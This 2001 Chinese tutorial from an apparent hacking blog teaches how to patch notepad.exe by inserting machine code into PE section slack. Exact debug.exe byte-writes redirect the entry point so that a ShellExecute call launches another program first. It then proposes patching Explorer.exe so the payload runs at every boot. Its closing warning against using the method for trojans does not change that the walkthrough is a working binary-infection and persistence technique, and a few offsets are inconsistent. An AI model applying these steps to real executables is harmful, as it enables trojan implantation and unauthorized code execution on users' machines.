關於PE可執行文件的修改(3) 給PE文件打補丁

作者:njhhack

--------給PE文件打補丁--------

------njhhack

我們都知道在PE文件中有很多空隙,所以我們就有可能給PE文件打補丁.
做法是在空隙中插入我們的補丁代碼.
下面我通過實例來教大家給win97的notepad.exe(記事本)程序來打個補
丁,使得notepad.exe運行時先運行我的pach.exe程序,方法是:
1.在notepad.exe的section間隙中插入
ShellExecute(0,"open","pach.exe",0,0,5)這個api函數調用
2.後面加入jmp old_begin來跳回原來的程序啓動點執行原來的代碼
3.修改程序的入口點爲新的入口點
經過這三步*作後,你就爲notepad.exe程序打上了補丁,以後每次執行notepad.exe
都會先執行pach.exe程序了.
聽起來很簡單,做起來麻煩,我們來看看如何實際*作吧'
首先我們需要有個debug.exe用來修改notepad.exe程序的內容,這是windows
自帶的,你不用費事找的,當然你要分析pe文件的結構和他的反彙編指令的話還要一
個dumppe.exe程序,他是masm32彙編器自帶的一個免費程序,功能強大,我們分析pe
格式和反彙編碼就用他了,如果你沒有這個程序也沒關係,想要的話從這裏下載就行
http://njhhack.top263.net/dumppe.zip當然我們還要一個win97的*作系統,因爲
我們對他的notepad.exe程序打補丁.
好了,準備好後,我們開始工作了,先把notepad.exe複製到c:/n.exe,c:/n
然後我們對n進行手術,首先我們分析n.exe的內部結構,用dumppe -disasm n.exe>n.txt
好了,n.txt中包含了我們要的所有信息,當然我們只對下面的幾個內容感興趣:
------------------------------------------------
Address of Entry Point 00001000
-------------------------------------------------
01 .text Virtual Address 00001000
Virtual Size 00003A9B
----------------------------------------------------
00402E20 FF1578734000 call dword ptr [ShellExecuteA]
-----------------------------------------------------------------
上面這三部分信息分別是什麼含義呢?
1.其中Address of Entry Point 00001000
表示程序的入口點爲1000,這個很重要,因爲我們的程序執行完後要跳回這個入口點,
2.其中 01 .text Virtual Address 00001000
Virtual Size 00003A9B
表示代碼段的虛擬地址從1000開始,大小爲3a9b,這個也很重要,因爲我知道每個
section以200對齊,現在大小爲3a9b,比對齊後的3c00要少,所以代碼段有空隙,我們就可
以在此插入自已的代碼了,空隙的大小爲3c00-3a9b=165大小,足夠了,
3.其中00402E20 FF1578734000 call dword ptr [ShellExecuteA]
是一個反彙編代碼,我們瞭解到ShellExecuteA的調用的機器碼爲FF1578734000,
有了上面這三個重要信息後,我們開始最艱難的工作了:
=============================================================================
1.我們修改代碼段的大小,把Virtual Size的值由00003A9B改爲00003C00,這樣
我們的代碼才能被裝入內存.因爲Virtual Size值存在180的位置,所以我們可以這麼做:
debug n ↙
-f280 l2 0,3c
-w
-q
這樣我們就改好了代碼段的大小
2.我們修改程序的入口地址爲3a9d+1000=4a9d,方法如下
因爲入口地址在a8這個位置,所以這麼做
debug n ↙
-f1a8 l2 9d,4a
-w
-q
這樣我們修改好了入口地址
3.最後一步最難了,就是設計彙編代碼了,來吧,精神點'

-------------------------------------------------------
內存地址 機器碼 彙編指令
-------------------------------------------------------
00404A9D 6A05 push 5
00404A9F 6A00 push 0
00404AA1 6A00 push 0
00404AA3 68E04B4000 push 404BE0h
00404AA8 68F04B4000 push 404BF0h
00404AAD 6A00 push 0
00404AAF FF1578734000 call dword ptr [ShellExecuteA]
00404AB5 E941010000 jmp loc_00404BFB

00404BE0 6861636B2E657865 db "pach.exe",0
00404BF0 6F70656E db "open",0
00404BFB E900C4FFFF jmp loc_00401000
--------------------------------------------------------------
這就是我們要寫的全部彙編指令,不長,但你要懂他的原理,好吧,我們來分析
其中的
push 5
push 0
push 0
push 404BE0h
push 404BF0h
push 0
是把6個參數壓入堆棧,供ShellExecute函數使用,至於該函數的參數結構,大家看win32.hlp的描述
然後call dword ptr [ShellExecuteA]這是調用這個函數了,其效果等同於下面的C語言格式
ShellExecuteA(0,"open","pach.exe",0,0,5);
也就是說最先壓入堆棧的參數在函數的最右邊,其中"open","pach.exe"分別相當於404BE0h,404BF0h
這兩個內存地址,因爲在該函數中,字符串參數的傳遞是傳的字符串地址,因此
00404BE0 6861636B2E657865 db "pach.exe",0
00404BF0 6F70656E db "open",0
這上面兩行就是在內存中定義了兩個字符串.
00404AB5 E941010000 jmp loc_00404BFB
上面這行是在call 完函數後跳到00404BFB這個地址.
00404BFB E900C4FFFF jmp loc_00401000
這一行是跳回原來的入口地址1000,執行原來的程序.
-----------------------------------------------------------------
好了,原理講完了,我們最後要把這些指令放入代碼段,當然就是把機器碼放進去了,方
法如下:
因爲代碼段在400位置,而我們新入口點在3b9d,所以開始放數的地方是100+400+3a9d=3f9d
其中加的100是debug在內存中的基地址,所以做法如下:
debug n ↙
-f3f9d l1d 6a,5,6a,0,6a,0,68,e0,4b,40,0,68,f0,4b,40,0,6a,0,ff,15,78,73,40,0,e9,41,1,0,0
-f40e0 l9 "pach.exe",0
-f40f0 l5 "open",0
-f40fb l5 e9,0,c4,ff,ff
-w
-q
好了,我們終於完成了最艱難的任務,可以頎賞一下成果了,把n.exe用n代換,方法爲copy n n.exe打開n.exe
我們發現,在啓動記事本程序的時候,同時打開了pach.exe這個程序,呵呵,我們終於成功了
想看效果,到這裏下載njhhack.top263.net/pach.zip這個不是木馬,是演示程序,大家不要害怕
---------------------------------------------------
用同樣的方法,你可以給任何程序打補丁,只要他在程序中調用了ShellExecute,WinExec,CreateProcess,...
這些函數就行,比如我們可以給Explorer.exe打補丁,這樣我們就可以在啓動電腦時,自動運行pach.exe程序了
你還可以給很多這樣的程序打補丁,只要你願意.
現在大家知道彙編語言有多有用了吧,以後好好學吧,當然還要學pe文件的格式喲,不過本人在此告誡
大家不要用這個補丁技術來啓動你的木馬程序,若不聽勸告,引起的後果與本人無關.
------njhhack
2001.8.25
 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章